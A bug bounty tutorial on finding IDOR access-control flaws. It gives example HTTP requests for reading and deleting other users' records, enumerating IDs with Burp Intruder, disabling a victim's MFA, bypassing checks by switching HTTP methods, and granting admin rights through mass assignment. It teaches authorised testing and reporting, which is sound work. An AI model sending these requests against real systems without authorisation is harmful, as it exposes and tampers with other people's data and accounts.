Horizontal vs Vertical IDOR
Where to Find Object References
Two-Account Testing Methodology
Burp Repeater & Intruder Workflow
Numeric ID Enumeration
GUID-Based IDOR
IDOR in API Endpoints
IDOR via HTTP Method Switching
Blind IDOR
Mass Assignment IDOR
Writing IDOR Reports That Pay
Further Reading
What Is IDOR & Why It Consistently Pays
IDOR — Insecure Direct Object Reference — is a broken access control vulnerability where an application exposes a reference to an internal object (a database record ID, a filename, an account number) and fails to verify that the requesting user is actually authorised to access that specific object. The application checks that you are logged in, but not whose data you are accessing.
IDOR falls under OWASP Top 10 A01:2021 — Broken Access Control, which is the number one web application vulnerability category. It is not a single bug. It is a class of bugs that appears wherever access control checks are missing, inconsistent, or rely on obscurity rather than server-side authorisation.
PII / profile data: $500–$2,000
Financial data: $2,000–$10,000
Account takeover: $3,000–$15,000
Admin escalation: $5,000–$30,000+
Scales to affect every account
Often reproducible in one request
Direct, undeniable impact
Represents architecture-level failure
OWASP #1 most critical category
Two accounts = all you need
No payload crafting required
Works on every tech stack
API endpoints especially vulnerable
Frequently missed in code review
Horizontal vs Vertical IDOR — Know the Difference
# Account B reads Account A’s invoice (should be forbidden):
GET /api/invoices/10023 HTTP/1.1 # A’s invoice ID
Cookie: session=ACCOUNT_B_TOKEN # B’s session
→ 200 OK {invoice data for Account A} # IDOR confirmed
# ─── Vertical IDOR (privilege escalation) example ───────────────
# Regular user calls admin endpoint:
GET /api/admin/users HTTP/1.1 # admin-only endpoint
Cookie: session=REGULAR_USER_TOKEN # no admin role
→ 200 OK [{all user records returned}] # CRITICAL IDOR
Where to Find Object References — The Complete Map
Every place an application uses a user-controlled value to retrieve a specific record is a candidate for IDOR testing. From Day 5 you have Burp HTTP History cataloguing every request — this is where you find all the object references to test.
/orders/67890/details
/messages/abc-uuid/read
/download/invoice.pdf
/profile/username/settings
?order=67890&action=view
?doc=../../../secret.pdf
?account=ACCT-001
?token=a1b2c3d4e5f6
{“recipient”: “user@email.com”}
X-User-ID: 12345
{“account_no”: “ACCT-001”}
{“file”: “report_q3.xlsx”}
JWT payload: “sub”:”12345″
Cookie: account=ACCT-001
Authorization: Bearer [JWT]
Cookie: role=user ← try admin
"id":, "user_id":, "account": in JSON responses — these reveal IDs you may not see in the URL that are also worth testing.The Two-Account Testing Methodology
Every IDOR test follows the same core method. Two accounts, two browser sessions, and the Burp Suite Repeater skills from Day 5. The approach is methodical, repeatable, and works on every application that fails to implement proper object-level access control.
Account B: victim@gmail.com (the victim — this is whose resources you will attempt to access)
Use a real email for both — you need to complete registration flows.
Burp Suite Repeater & Intruder — Day 5 Skills Applied to IDOR
# 1. In Burp HTTP History — find request with Account A’s ID
GET /api/invoices/10024 HTTP/1.1
Cookie: session=ACCOUNT_A_TOKEN
# 2. Right-click → Send to Repeater
# 3. In Repeater: change the ID to Account B’s ID
GET /api/invoices/10023 HTTP/1.1 # Account B’s invoice
Cookie: session=ACCOUNT_A_TOKEN # keep Account A’s session
# 4. Send — check response
200 OK + Account B’s data = IDOR confirmed
403 Forbidden = access control working
404 Not Found = ID doesn’t exist
Numeric ID Enumeration with Burp Intruder
When IDs are sequential integers, Burp Intruder (covered in Day 5) can enumerate a range of IDs efficiently to identify all accessible records. Use this to demonstrate scope — that the IDOR affects every user, not just the one you tested manually. Do not download hundreds of records; enumerate enough to prove the pattern.
# 1. Send target request to Intruder from Repeater or HTTP History
# 2. In Intruder → Positions tab:
GET /api/invoices/§10024§ HTTP/1.1 # mark the ID with §§
# 3. In Intruder → Payloads tab:
# Payload type: Numbers
# From: 10001 To: 10050 Step: 1
# (test 50 IDs around your own — enough to prove the pattern)
# 4. Start attack — sort by Status code and Response length
200 + length variation = valid invoice belonging to another user
403 consistently = access control is working
# ─── Grep for confirming data in responses ──────────────────────
# In Intruder → Options → Grep – Extract:
# Add grep for “user_id” to confirm each response belongs to a different user
GUID-Based IDOR — Still Exploitable
GUIDs look like protection: a1b2c3d4-e5f6-7890-abcd-ef1234567890. They are not. They are just IDs that are harder to guess. If a GUID is accessible — in a shared link, an API response, an email notification, or a user list — the access control check (or lack of one) still determines whether IDOR exists.
# 1. API responses that list multiple records
GET /api/team/members # team list contains GUIDs for each member
→ [{“id”:”a1b2c3d4-…”,”name”:”Alice”},{“id”:”e5f6…”,”name”:”Bob”}]
# 2. Email notification links
https://target.com/share/a1b2c3d4-e5f6-7890-abcd-ef1234567890
# Test: GET /api/documents/a1b2c3d4-… with your session cookie
# 3. Activity feeds / audit logs
GET /api/activity
→ [{“action”:”created_report”,”resource_id”:”a1b2c3…”}]
# 4. Browser source — GUIDs sometimes appear in JS variables
window.__USER_ID__ = “a1b2c3d4-e5f6-7890-abcd-ef1234567890”
IDOR in API Endpoints — Where Most Modern IDORs Live
Modern web applications are built around REST APIs. These APIs are the highest-density IDOR hunting ground — each endpoint corresponds to a database record or action, IDs appear explicitly in URL paths, and access control is often implemented inconsistently across the API surface. The dev and staging API subdomains from Day 6 deserve special attention here.
GET /api/orders/67890/items
GET /api/messages/11223
GET /api/payments/44556/receipt
→ Change ID → check response
{“from”: “ACCOUNT-001”,
“to”: “ACCOUNT-002”,
“amount”: 100}
→ Change “from” to victim’s ID
GET /api/admin/users
GET /api/admin/logs
DELETE /api/admin/users/999
→ 200 OK = vertical IDOR
{“order_id”:101,”owner_id“:500}
# Test: GET /api/users/500/orders
# with your own session
# Test all CRUD operations on each object type:
GET /api/users/VICTIM_ID # read victim’s profile
PUT /api/users/VICTIM_ID # modify victim’s profile
DELETE /api/users/VICTIM_ID # delete victim’s account
PATCH /api/users/VICTIM_ID # partial update of victim
# Look for admin endpoints in JavaScript source:
# DevTools → Sources → search for /admin, /internal, /superuser
# Also: Burp → Target → Sitemap shows all discovered endpoints
IDOR via HTTP Method Switching
Access control is often implemented per-endpoint but not per-method. A developer may check authorisation on GET /api/orders/123 but forget to implement the same check on DELETE /api/orders/123. Always test all HTTP methods on every endpoint that returns a 403 or 401 on the standard GET.
# Target: GET /api/documents/12345 → 403 Forbidden
# Test other methods by changing the verb in Repeater:
POST /api/documents/12345 # might accept with no body
PUT /api/documents/12345 # might allow modification
DELETE /api/documents/12345 # might allow deletion
HEAD /api/documents/12345 # may reveal headers (file size, etc.)
PATCH /api/documents/12345 # partial update
# Also test with modified X-HTTP-Method-Override header:
POST /api/documents/12345 HTTP/1.1
X-HTTP-Method-Override: DELETE # some frameworks honour this
Blind IDOR — When the Action Succeeds but Data Is Hidden
Blind IDOR occurs when the unauthorised operation executes server-side but the response does not return the accessed data. The endpoint returns 200 OK or {"status":"success"} without the actual resource content. You cannot read the data — but the action (delete, email, transfer, modify) occurs on another user’s resource.
# Request with Account A’s session, targeting Account B’s message ID:
DELETE /api/messages/77889 HTTP/1.1 # Account B’s message
Cookie: session=ACCOUNT_A_TOKEN
HTTP/1.1 200 OK # success — no data returned
{“status”: “deleted”}
# Confirm it by logging in as Account B and verifying the message is gone
GET /api/messages/77889 # Account B’s session
→ 404 Not Found # message deleted → Blind IDOR confirmed
# Other blind IDOR patterns to test:
POST /api/email/resend {“user_id”: “VICTIM_ID”} # send email to victim
POST /api/2fa/disable {“user_id”: “VICTIM_ID”} # disable victim’s MFA
POST /api/logout/all {“user_id”: “VICTIM_ID”} # log out victim everywhere
Mass Assignment IDOR — Escalate via Hidden Fields
Mass assignment occurs when an API automatically binds all user-supplied fields to a database model — including fields the developer did not intend to expose. By adding extra fields to a POST or PUT request body, you may be able to set fields like role, is_admin, balance, or credits that should never be user-modifiable.
PATCH /api/profile HTTP/1.1
Cookie: session=MY_TOKEN
Content-Type: application/json
{“name”: “John”, “email”: “john@email.com”} # normal fields
# ─── Mass assignment attempt — add hidden fields ─────────────────
{“name”: “John”, “email”: “john@email.com”,
“role”: “admin”, # attempt privilege escalation
“is_admin”: true, # boolean flag
“credits”: 99999, # modify account balance
“verified”: true} # skip email verification
# Confirm by checking your profile — did role/credits change?
GET /api/profile
→ {“role”: “admin”, “credits”: 99999} ← mass assignment confirmed
Writing IDOR Reports That Maximise Your Payout
IDOR reports that pay well include four things beyond the technical details: the number of users affected (scope), the sensitivity of the exposed data (PII, financial, medical), what an attacker could do with persistent access, and a clear demonstration that the access control is absent — not just that one ID worked. The same bug reported well versus poorly is a 5x payout difference.
2. As Account B: place an order → note invoice ID (e.g. 10023)
3. Log in as Account A
4. In Burp Repeater: GET /api/invoices/10023 with Account A’s session cookie
5. Response: 200 OK with Account B’s full invoice data
6. Test IDs 10001–10050: all return 200 with different users’ data
→ Payment card data exposure (last 4 digits)
→ Purchase history disclosure
→ All authenticated users affected
→ Attacker can enumerate all invoices sequentially
CVSS 3.1: 8.1 (High)
CWE-639: Authorisation Bypass via IDOR
Day 5 gave you Burp Suite. Day 6 mapped the attack surface. Day 7 found XSS. Day 8 found IDOR. Day 9 brings SQL injection for bug bounty — the third pillar of web vulnerability hunting.
Frequently Asked Questions
IDOR is where I tell beginners to spend their first three months of serious bug bounty hunting. You need two accounts and Burp Repeater — skills you already have from Day 5. You do not need special tools, custom scripts, or advanced exploitation knowledge. Every API endpoint is a candidate. Every ID in every response is worth noting. The access control check that a developer forgot to write is as present in a $100M fintech application as in a weekend side project. Find the missing check, prove the impact, and write it up clearly. That is the entire job.






